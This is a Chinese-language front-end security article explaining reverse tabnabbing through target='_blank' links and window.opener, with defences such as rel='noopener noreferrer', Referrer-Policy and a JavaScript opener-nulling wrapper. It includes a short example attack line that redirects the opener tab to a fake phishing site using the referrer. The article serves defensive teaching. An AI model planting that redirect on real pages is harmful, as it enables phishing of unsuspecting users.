在網頁中使用連結時,如果想要讓瀏覽器自動在新的標籤頁開啟指定的地址,通常的做法就是在
a
標籤上新增target等於"_blank"
屬性。然而,就是這個屬性,為釣魚攻擊者帶來了可乘之機。
起源
parent
與 opener
在說 opener
之前,可以先聊聊 <iframe>
中的 parent
。
我們知道,在 <iframe>
中提供了一個用於父子頁面互動的物件,叫做 window.parent
,我們可以通過 window.parent
物件來從框架中的頁面訪問父級頁面的 window
。
opener
與 parent
一樣,只不過是用於 <a target="_blank">
在新標籤頁開啟的頁面的。通過 <a target="_blank">
開啟的頁面,可以直接使用 window.opener
來訪問來源頁面的 window
物件。
同域與跨域
瀏覽器提供了完整的跨域保護,在域名相同時,parent
物件和 opener
物件實際上就直接是上一級的 window
物件;而當域名不同時,parent
和 opener
則是經過包裝的一個 global
物件。這個 global
物件僅提供非常有限的屬性訪問,並且在這僅有的幾個屬性中,大部分也都是不允許訪問的(訪問會直接丟擲 DOMException
)。
在 <iframe>
中,提供了一個 sandbox
屬性用於控制框架中的頁面的許可權,因此即使是同域,也可以控制 <iframe>
的安全性。
利用
如果,你的網站上有一個連結,使用了 target="_blank"
,那麼一旦使用者點選這個連結並進入一個新的標籤,新標籤中的頁面如果存在惡意程式碼,就可以將你的網站直接導航到一個虛假網站。此時,如果使用者回到你的標籤頁,看到的就是被替換過的頁面了。
詳細步驟
-
在你的網站
https://example.com
上存在一個連結:<a href="https://an.evil.site" target="_blank">進入一個“邪惡”的網站</a> 複製程式碼
-
使用者點選了這個連結,在新的標籤頁開啟了這個網站。這個網站可以通過 HTTP Header 中的
Referer
屬性來判斷使用者的來源。並且,這個網站上包含著類似於這樣的 JavaScript 程式碼:
const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' + url); 複製程式碼
-
此時,使用者在繼續瀏覽這個新的標籤頁,而原來的網站所在的標籤頁此時已經被導航到了
https://a.fake.site/?https%3A%2F%2Fexample.com%2F
。 -
惡意網站
https://a.fake.site
根據 Query String 來偽造一個足以欺騙使用者的頁面,並展示出來(期間還可以做一次跳轉,使得瀏覽器的位址列更具有迷惑性)。 -
使用者關閉
https://an.evil.site
的標籤頁,回到原來的網站………………已經回不去了。
上面的攻擊步驟是在跨域的情況下的,在跨域情況下,
opener
物件和parent
一樣,是受到限制的,僅提供非常有限的屬性訪問,並且在這僅有的幾個屬性中,大部分也都是不允許訪問的(訪問會直接丟擲DOMException
)。但是與
parent
不同的是,在跨域的情況下,opener
仍然可以呼叫location.replace
方法而parent
則不可以。如果是在同域的情況下(比如一個網站上的某一個頁面被植入了惡意程式碼),則情況要比上面嚴重得多。
防禦
<iframe>
中有 sandbox
屬性,而連結,則可以使用下面的辦法:
1. Referrer Policy 和 noreferrer
上面的攻擊步驟中,用到了 HTTP Header 中的 Referer
屬性,實際上可以在 HTTP 的響應頭中增加 Referrer Policy
頭來保證來源隱私安全。
Referrer Policy
需要修改後端程式碼來實現,而在前端,也可以使用 <a>
標籤的 rel
屬性來指定 rel="noreferrer"
來保證來源隱私安全。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">進入一個“邪惡”的網站</a>
複製程式碼
但是要注意的是:即使限制了
referer
的傳遞,仍然不能阻止原標籤被惡意跳轉。
2. noopener
為了安全,現代瀏覽器都支援在 <a>
標籤的 rel
屬性中指定 rel="noopener"
,這樣,在開啟的新標籤頁中,將無法再使用 opener
物件了,它為設定為了 null
。
<a href="https://an.evil.site" target="_blank" rel="noopener">進入一個“邪惡”的網站</a>
複製程式碼
3. JavaScript
noopener
屬性看似是解決了所有問題,但是...瀏覽器的相容性問題...
可以看到,現在絕大多數瀏覽器都已經相容了 rel="noopener"
屬性了。但是,為了保護稍舊的“近代”瀏覽器或是很舊的“古代”瀏覽器甚至是“遠古”瀏覽器,只有 noopener
屬性還是遠遠不夠的。
這時,就只能請出下面這段原生 JavaScript 來幫忙了。
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}
複製程式碼
推薦
首先,在網站中的連結上,如果使用了 target="_blank"
,就要帶上 rel="noopener"
,並且建議帶上 rel="noreferrer"
。類似於這樣:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">進入一個“邪惡”的網站</a>
複製程式碼
當然,在跳轉到第三方網站的時候,為了 SEO 權重,還建議帶上 rel="nofollow"
,所以最終類似於這樣:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">進入一個“邪惡”的網站</a>
複製程式碼
效能
最後,再來說說效能問題。
如果網站使用了 <a target="_blank">
,那麼新開啟的標籤頁的效能將會影響到當前頁面。此時如果新開啟的頁面中執行了一個非常龐大的 JavaScript 指令碼,那麼原始標籤頁也會受到影響,會出現卡頓的現象(當然不至於卡死)。
而如果在連結中加入了 noopener
,則此時兩個標籤頁將會互不干擾,使得原頁面的效能不會受到新頁面的影響。
關注微信公眾號:創宇前端(KnownsecFED),碼上獲取更多優質乾貨!